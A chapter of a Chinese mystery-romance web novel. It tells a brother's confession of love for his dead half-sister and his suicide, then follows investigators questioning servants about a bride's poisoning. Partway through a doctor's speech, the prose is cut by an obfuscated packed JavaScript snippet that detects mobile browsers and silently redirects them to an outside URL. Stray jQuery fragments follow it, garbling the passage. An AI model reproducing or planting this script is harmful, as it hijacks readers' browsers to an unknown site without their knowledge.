有那么一瞬间，柳眉妩觉得自己似乎有些听不懂话了。


    何清如最先反应过来，捂着柳眉妩的耳朵将她拉了出去，她还在神游天外。好半晌思绪回笼，不知为何，忽然想到一双眼。


    如冰川寂，如火海燎，仔细看，却又空无一物。如梦幻泡影，如露又如电。那是清明时候，在李苏苏的金棺前，李丹阳的眼睛。


    一瞬间，混沌重新沸腾，或蒸发，或沉淀，又终于熨贴。


    她轻声叹息，只觉得悲哀。


    畸形的爱恋固然刺激，正常的情意却实在舒服。只可惜，人性在于猎奇，比之中规中矩，总是更喜欢寻求刺激。


    “大姐姐，如果有一天，我和你在一起了，会怎么样？”


    何清如哽了一息，哭笑不得，“应该，不会有那一天吧。”


    “那我和大……”柳眉妩反应过来，急忙改口，“不对，和二哥哥在一起呢？”


    何清如认真想了想，又认真回道：“你与二哥只是表亲，男未婚女未嫁，就算在一起了，也是亲上加亲。只是可怜了宝儿。”


    柳眉妩吐了吐舌头，干笑两声，“我乱说的，大姐姐，你可千万别告诉宝儿。他知道了，又要哭了。”


    何清如摸了摸她的脑袋，好笑道：“宝儿也就是在你面前爱哭罢了。你没见方才在堂上，宝儿色厉神威的模样，别说桃夭当场被吓住，我也险些被唬住了。”


    “宝儿确实脑子转得快，他不说我都没反应过来，差点儿就被桃夭牵着鼻子走了。”柳眉妩附和两句，由衷赞道，“桃夭说李老爷和侯夫人同去合江祝寿，我们下意识以为李丹阳也会去。但事实上，李丹阳并非侯氏之子，而是先夫人崔氏之后，又素来与侯夫人不对付，自然不会去给侯家的舅老爷祝寿。”


    何清如点头同意，故事到此告一段落。


    剩下的故事，柳眉妩从宝儿口中得知，且听且叹，不禁扼腕——


    李苏苏出生时，侯夫人还是侯如夫人，人微言轻，连带着李苏苏也饱一顿饥一顿，受尽下人冷眼磋磨。


    李丹阳憎恶父亲三心二意，也讨厌侯如夫人寡廉鲜耻，所以迁怒出生不久的李苏苏。情绪上头时，他躲开下人，溜进房里，想要偷偷掐死李苏苏。


    但到底没下得去手。


    “她真的好蠢。我掐着她的脖子，她咯咯地笑，最后发不出声音了，嘴巴还是咧开着的。她的眼睛好亮，好像盛了两汪水，眼泪却怎么也没掉下来。


    后来，侯氏提前回来了，我来不及离开。可等我松了手，她即便涨得满脸通红，两眼汪汪，却还是对着我咯咯直笑，伸着两只手，想要我抱。怎么会有这么蠢的人啊，我要杀她，她却一直对着我笑。


    侯氏那般精明的人，自然知道我来做什么，她气愤交加，却没有向父亲告状。后来过了很久，我才知道，那时候，她选择找母亲谈了条件。


    我也说不上对她是什么感觉。在她之前，我没有旁的兄弟姐妹，母亲只有我一个孩子，其余妾室的孩子也鲜有活下来的。她却一日日长高，长大，亭亭玉立。


    我和她关系算不上亲近，也不能算生疏。父亲不喜欢她，因为她是女子；母亲不喜欢她，因为她是侯氏之女；侯氏倒是喜欢她，只可惜那时自身都难保。好几次，还是由我出面作保，允她读书，许她经商，送她去见更宽更广的世界。


    她及笄那日，来找我喝酒，我们聊了很多，酒后的事我也分不真切，醒来才知确已酿成大祸。我是懦夫，是最蠢最坏最没有担当的懦夫！因为从那以后，我开始躲着她，我东奔西跑地忙生意，成月成月不回家。


    再回家，才知侯氏为她寻了门亲事。她来找过我，我没见她；她又让桃夭来找我，我还是拒绝了。我早已无颜见她，也不想一错再错，于是给她送了份贺礼便又匆匆离家。


    再然后，就是听到她的死讯……如果我早知道她嫁人就会死，我一定不会让她嫁的，我说什么也不会让她嫁的。可是，老天惩罚我，报应却落在她身上……”


    桃夭忽然说话，语气平静，近乎冷漠，“大公子，小姐不喜欢梁六公子，她一直在等你。她收了你的礼，不当贺礼，只当聘礼，她一直在等你。”


    李丹阳捂面而泣，气音哽咽，听来悲痛欲绝，“苏苏，是我害死了你！我胆小懦弱，辜负真心，罪孽深重，配不上你。我不值得你等，也不值得你爱，更不值得你死，这条命，便来还你吧！”


    ……


    柳眉妩知道，人存死志时，早已生无可恋。所以，即便堂上那么多武功高手，却还是没拦住李丹阳决然撞柱。


    问世间，情是何物，直教生死相许。


    唏嘘泪尽堂前柱，枉付他人做笑谈。


    *


    翌日，傍晚时分，小七和薛大夫从临邛回来，见过东方凌云，案情便如抽丝剥茧般逐渐明朗。


    “周夫人是新娘枯尸案的第一例，于去年八月遇害，葬的又是化骨地，等我们开棺时，尸骨早已腐毁难辨了。好在另一位曾大嫂尸身还算完整，果不其然，验出来也是双身子。”


    “如此推测，周夫人应当也是双身子。”竹悠然沉吟着，“也就是说，差不多所有的遇害新娘都是一尸两命。”


    小七点点头，想到什么，看一眼薛大夫，又补充道：“但蒋夫人和前几位遇害新娘又不一样。其余新娘只有颈上一处伤痕，状如枯藤，确系命丧鬼见愁刀下，而蒋夫人却是中毒身亡无疑。”


    杨无名若有所思，“那蒋夫人到底是自杀还是他杀呢？”


    柳眉妩道：“要我说，与其大家在这里猜来猜去，不如直接去叶家一探究竟。小八刚从叶家回来，打探到叶九思已经醒了。”


    事不宜迟，除却小九送薛大夫去回春堂，其余人风风火火赶往叶家。可再见到叶九思，却又着实吃了一惊。


    外衫半敞着，素白的里衣领口处沾了一圈油污，发髻凌乱，往日正形束己的乌木冠早已不知去向。歪着头，一双眼倒是极亮，坐在太师椅上好奇地望向他们。鞋子趿拉着，一晃一晃，发出窸窸窣窣的声响。


    几人面面相觑，不知怎么开口。


    还是叶九思眨了眨眼，出声问道：“你们是谁？也是来找爹爹娘亲的吗？我找不到他们了。”


    说完，瘪瘪嘴，竟是要哭的模样。


    刘管家忙哄道：“老爷陪夫人回娘家去了，过几日就回来。”


    叶九思扭头不看他，眼眶却兀自红了，“你骗人，我根本就不认识你。我要找爹爹，我要找娘亲，哇！”


    最后直接放声大哭。一把鼻涕一把泪，形象全无，看得人嘴角抽搐。


    “大人之前受了刺激，又高热烧了许久，再醒过来就变成这样了。”刘管家凑近几人，指了指自己的脑袋，小声道，“心智和记忆，都退化成了七岁孩童。”


    柳眉妩下意识看向十三，十三却只是挠了挠头，“这个我不会，我去请薛大夫来。”


    很快，薛大夫又来了，风尘仆仆的模样，甚至来不及换身新衣，神色疲惫，“白大人，我今年四十五了，不是二十五。再这么奔来跑去的，身子可吃不消。”


    东方凌云咳了一声，难得有些赧然，“有劳薛大夫了，回头必有重谢。”


    薛大夫摆摆手，发完牢骚又任劳任怨地继续诊脉，一脸凝重道：“叶大人脉象无碍，应是心疾。”


    “心疾？”


    “通俗来讲，人的心是一间房，里面装的东西有限。有的人一生平平淡淡，至死都装不满；而有的人生活轰轰烈烈，大喜


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268982|182217||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    大悲刺激过度，装的东西多了，心就会承受不住。出于自欺，也出于自保，人会选择将那段不愿面对的记忆封印，这就是心疾。”薛大夫摇头道，“心疾还须心药医，一般的药石，无解。”


    “若以心药医治，大概几时能好？”


    “不好说。也许明日就能好，也许永远都不能好。”


    “……”


    叶九思自顾自嚎了半天，有些累了，吸着鼻子蔫头耷脑，被刘管家哄去睡觉了。几人也知，如今问他也问不出所以然，便随他去了，转而找来当晚守夜的丫鬟。


    “又见面了。”柳眉妩左右打量着两人，“粉黛绿漪是吗，你们的名字可是叶九思取的？”


    粉黛看一眼刘管家，如实道：“我们是夫人买的，名字也是夫人取的。”


    “那应该和蒋姐姐关系不错了。”


    “夫人心善，救我二人于水火，大恩大德，永世铭记。”


    “既如此，现在就是报答蒋姐姐的时候。说说吧，新婚当晚，你们看到了什么，听到了什么，越详细越好。”


    “是。”粉黛恭敬应声，随即回忆道，“当晚，大人喝醉了，很晚才到新房来。但是不到一刻钟，就摔了杯子离开，去了书房睡。”


    “为什么？”


    “大人和夫人说话的声音小，我听不太真切，依稀听见好像是在说广陵的事，具体是什么我就不知道了。夫人很生气，大人也很生气，然后就听到噼里啪啦一阵响儿。”


    “然后呢？”


    “再然后，就是大人气冲冲出来了，让我们进去收拾碎瓷片。我和绿漪进去，就看到夫人坐在地上哭，桃花酿也碎了一地。”


    绿漪点头道：“是我收拾的碎瓷片，本来还要擦酒渍的，但看到三彩在喝就没管了。粉黛拿了水给夫人擦脸，然后我们就服侍夫人上床休息了。”


    “三彩？那只猫？”


    “是的。三彩最爱喝酒，桃花酿洒了一地，红得艳，香得很，它摇着尾巴舔得可欢了，我也就没管它。”


    “你说的桃花酿，是哪家酒肆的酒？”


    “不是酒肆的酒，是夫人亲自酿的。”粉黛解释道，“两年前，前院的桃花开得艳丽，夫人就采了许多花瓣酿酒，新婚夜用来合卺交杯。只是不知怎么的，两人生了好大一通气，连坛带杯全摔碎了。”


    “还有谁接触过桃花酿吗？”


    “除了夫人，没有其他人接触过桃花酿。”粉黛笃定道，“酿造桃花酿，一直都是夫人亲力亲为。采花、蒸露、加麴、封坛、埋窖……便是挖酒，也是夫人亲自挖的，挖出来后，又是夫人亲自收的。我们都不知道桃花酿收在哪里。”


    绿漪也点头道：“没错。”


    何清如忽然出声：“除了酒，你家夫人还吃了什么？喝了什么？”


    粉黛想了想，“那天夫人很忙，从早忙到晚，脚不沾地，连水都没时间喝一口……哦！我想起来了！夫人晚上还喝了百合羹！是大人亲自端来的！不过应该没喝多少，因为大人很快又让我端出去了，看着确实像没动过一样。三彩饿得慌，我就都喂给三彩了。”


    绿漪补充道：“之后大人又让我去厨房，告诉他们准备一桌好菜，应该是想要和夫人畅饮的。结果菜还没上呢，两人就闹了别扭，不欢而散了。”


    “所以，三彩也喝了百合羹。”柳眉妩重复着，若有所思。抬眼看到薛大夫，想到另一件事，“薛大夫，可能验出猫的死因？”


    “可以一试。”薛大夫捂嘴打了个哈欠，似乎倦极，语气慢悠悠道，“但那猫极有可能是被砒霜药死的。”


    “此话怎讲？”


    “很简单，因为刘管家来回春堂买过砒霜。说是好事将近，家中耗子肆虐，买回去能药一点是一点。”